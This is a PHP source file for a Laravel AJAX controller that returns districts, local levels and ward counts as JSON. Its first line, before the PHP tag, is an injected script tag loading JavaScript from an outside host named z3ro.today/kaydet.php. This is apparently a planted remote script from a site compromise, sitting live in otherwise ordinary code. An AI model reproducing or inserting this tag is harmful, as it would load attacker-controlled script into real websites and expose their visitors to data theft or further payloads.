<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\Ajax;

use App\Models\District;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Models\Locallevel;

class AjaxController extends Controller
{
    public function get_district(Request $request)
    {
        $request->validate([
            'province_id' => ['required', 'numeric', 'min:1']
        ], ['province_id.required', 'Please select province']);

        $districts = District::where('province_id', $request->province_id)->orderBy('district_name')->get()->map->displayAjax();

        if ($districts->count()) {
            return response()->json($districts, 200);
        }

        return response()->json([], 404);
    }

    public function get_local_level(Request $request)
    {
        $request->validate([
            'district_id' => ['required', 'numeric', 'min:1']
        ], ['district_id.required', 'Please select district']);

        $localLevels = Locallevel::where('district_id', $request->district_id)->orderBy('local_name')->get()->map->displayAjax();

        if ($localLevels->count()) {
            return response()->json($localLevels, 200);
        }

        return response()->json([], 404);
    }

    public function get_ward(Request $request)
    {
        $request->validate([
            'locallevel_id' => ['required', 'numeric', 'min:1']
        ], ['locallevel_id.required', 'Please select Local Level']);

        $localLevels = Locallevel::where('id', $request->locallevel_id)->first();

        if ($localLevels) {
            return response()->json(['number_of_wards' => $localLevels->number_of_wards], 200);
        }

        return response()->json([], 404);
    }
}
